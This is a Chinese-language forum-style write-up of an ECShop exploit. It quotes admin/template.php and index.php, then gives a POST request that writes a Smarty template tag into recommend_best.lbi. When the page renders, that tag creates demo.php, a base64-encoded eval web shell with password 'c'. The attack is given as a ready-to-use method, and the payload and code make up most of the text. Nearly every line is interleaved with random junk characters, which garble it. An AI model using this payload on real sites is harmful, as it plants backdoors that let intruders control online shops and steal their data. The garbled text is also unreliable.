首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
q1 l$ F& n2 O( f0 Q+ l2 J; H6 M
/ ~5 b6 h( Y" H/ K. R而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了, K6 Q- H- r+ h" x3 h; \
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码) g+ L1 K! \7 a+ y* q6 c
admin/template.php
: S0 ^( _7 f& X1 {% C3 f. F. I) }, Y
1 if ($_REQUEST['act'] == 'update_library')
: ~/ r8 p5 |' d" {8 l! R. s' _ E7 H* S0 S, a
2 : s3 n f3 [- k3 J8 [
; k0 q) P! ^& Q0 ]: ~- s3 {
2 E$ U' [" s0 r9 y$ g u' g# [* K+ Y, q% F! P
4 check_authz_json('library_manage');
9 r$ P: V, v* r- j- |7 T& e- E9 k% n$ l( l
5
" I K4 M* G8 x) p1 Y8 p) G3 f3 v% Y4 G2 d: x |" j. x! s
6 $html = stripslashes(json_str_iconv($_POST['html'])); - J- t) r( q* y& E% @
; z% R: Q9 T8 [# w6 M, S0 R- c
7 6 o# E$ b. u! ^+ A& d) Z, e4 O' g
2 i; W8 x+ t3 r* {) {% Y: N
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 9 H) X$ t& u9 `8 }- T
- k& [6 A/ W$ a6 s$ @3 ?" ?; L1 ?
9
# ^4 H9 F5 b/ t9 M I3 V
4 \1 i0 u/ f( R) H7 L, A) n10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 . e& X' \, Y: h' c7 g7 m
6 _5 f {/ r/ O0 B* `8 t ?
11 2 [" U" ~! `7 d! A
) u- L& |+ s4 J) K3 Z$ G; v( G7 [7 Y12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ) |- R0 l, u) J) ~. ^
( f3 s6 _0 t7 a9 b3 O13
) p7 U0 V8 l9 f _. B6 {% z1 e3 l( M9 u1 W" ^
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 * y, g3 Y4 U$ E1 A5 |
" Z' K1 Q) z% v6 k9 b
15 {
! v1 R: M/ k& I+ q8 r1 Q- \; C$ L; m/ j0 e
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 W- X% B$ R4 \, C& s3 D. `0 n3 |2 Q5 f7 b! I8 ~+ Q
17 make_json_result('', $_LANG['update_lib_success']); # R: O: s) g# T8 u* ]1 W R
) _" i& J) n9 E! }5 \# u9 u18 } 0 `& d! @* T# n. _# x
k1 ~; J. ]1 D. h/ _% l% M
19 else
/ X2 m' g: ^3 M$ h8 N6 c. A$ a: \+ O% j9 q: F1 r. L0 H, e
20 {
; W i: O/ M. y) n0 G& w5 d+ v8 P9 W( x- `7 r4 y/ p7 n
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
, d! i6 Q P5 n7 r5 ~5 u- R2 f. y
22 }
i: c5 y1 E8 b/ W/ b: F+ D! {* F2 l6 Q6 \6 h3 u
23 }
- ~1 e _) {1 J4 j4 n- }0 @6 q8 u4 K0 H4 i* n9 k" s" l) ~
那么找个比较方便调用了模板的文件' C) k+ x- h) I# h" ?
index.php
/ u* N5 P$ G' {# a6 d3 _
, Z$ K, L- R$ E `" Z! @1 if ($act == 'cat_rec')
# ~: u+ L, Q0 k3 n& E/ z' q6 G9 |' q* C! h4 z. {7 d2 B2 K
2 4 b, `7 n: q3 Y. K+ u
" w) S, n+ A5 b4 l
3 {
v0 ~- y" Q+ K' p- C7 z) |
; d2 X8 z* [# F: S4
6 p$ |' a. ]; W ~. r7 I9 X) ]- W# Y: |: O" W, m
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
& ?' f) ^. |- g5 ~5 S1 q8 w& W0 R$ B4 h* {. ` ?4 ^
6 ( h5 A, H6 G8 V6 A' b" {6 q9 c* n
! g! w/ n# P* j4 l% |7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 j0 [! t6 a/ T: Q* W* d Y
1 E+ ~1 w% b _. i% _8 / L8 @" X3 ^5 M: _/ j6 g
+ y8 Z2 n) N7 X' Z2 F+ `4 Q+ C9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; , ^/ x5 G; a. U8 L3 c) [
+ E4 E. e% P1 L) c10
/ ]- J7 H! d% p! q6 j& | A x, ~& U4 O1 g4 \, S
11 include_once('includes/cls_json.php'); 9 C8 ~# a; I e) G( t) W0 B
- t4 G1 H& |& m, l
12
8 K7 {( {) Z: K+ l: `9 _/ j. {. Q1 r
13 $json = new JSON;
! H$ v9 z4 U s; T0 p, U R' u3 g+ r) q
14
- }, l5 G& |7 x }, L& N- j6 V* ~1 u8 Q" s$ Z
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
: b0 C i" s3 g2 k% d0 d o
' ^7 J8 Q. k; ?8 R16 ) D+ \6 L) Q) {8 i. R6 _) k
! Z; p, B0 e1 i4 T7 A" q6 A$ ?$ N17 $children = get_children($cat_id); 2 c( j8 }3 p% ^4 v# t
) t9 T R" `, w ?- H, Z( w
18 9 @2 \, U- R' R5 n1 r
# ~% A: W' `; n& M2 {1 x4 V
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 ; ~0 u+ u d. U o* a: ]) u" z
) q2 ~ Q) u" c5 d; d% l1 F$ [* v9 c
20
* z1 I$ A3 G9 q3 Y% f6 l! o
4 C7 X1 F% O, k9 K2 O21 $smarty->assign('cat_rec_sign', 1); / f' S3 V+ W% {3 V
8 S7 _9 p9 u0 f' C* Q8 W9 G
22 ) d' s# D; w; N; `4 z' C
8 F) O; _8 f% J0 p
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 0 _+ `) P' ]) M8 z
8 d/ ~9 W/ |1 t! h) W1 A$ M24 1 N& F( G( U( _9 o0 U
' N* C4 s9 ]3 S- F
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; $ C' {+ {1 p, `; n1 f
* C+ B8 t8 R/ p# |3 w6 t$ U26
' u2 \% f8 E! U B$ B/ L, U9 U X
9 I) H. V1 Y( `7 n b27 echo $rec_array[$rec_type]; ; ^2 Y# M8 O, O, n. Z% }
/ n- e& o) ?) u, b# M& H9 Y28
& i3 ~/ ]7 n2 o( h
+ B# S( X* J J29 die($json->encode($result));
0 Q5 T0 C+ Y$ Y2 `+ W. p6 C, p+ L9 o5 r9 V0 l
30
+ z! d3 ?& S3 o/ E0 F' j
0 M2 z* m/ g0 \# }31 } 3 {# O% C" N0 [7 y5 x0 j" R
% p7 D9 C4 |: H% Z7 Z' R6 P
那么就有利用方法了
$ o2 T& y+ R: |% |- _5 Xpost包到http://localhost/ec/admin/template.php?act=update_library
- {: [8 Q+ U% z' ^( e0 NPost内容:" X$ ]) P6 z G6 d
& @9 q" C' [) x* v4 t
) h% j& U' k0 k9 h" f# _. d
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
" r7 Z2 u/ x: S9 F8 W4 k' z$ q
% `1 g/ W n8 q" s7 ^$ ^然后访问http://localhost/ec/index.php?act=cat_rec
8 d) g7 c& E# s" ]4 [8 X1 C5 h% N) ~- J% z O+ j& L, l" |. t
shel地址:http://localhost/ec/demo.php
% Q7 R: C/ \% ^) S( O6 x* x密码c
, }8 O, k+ W1 k: Z
& D+ v; j; f# S& R* X8 Z1 K: A |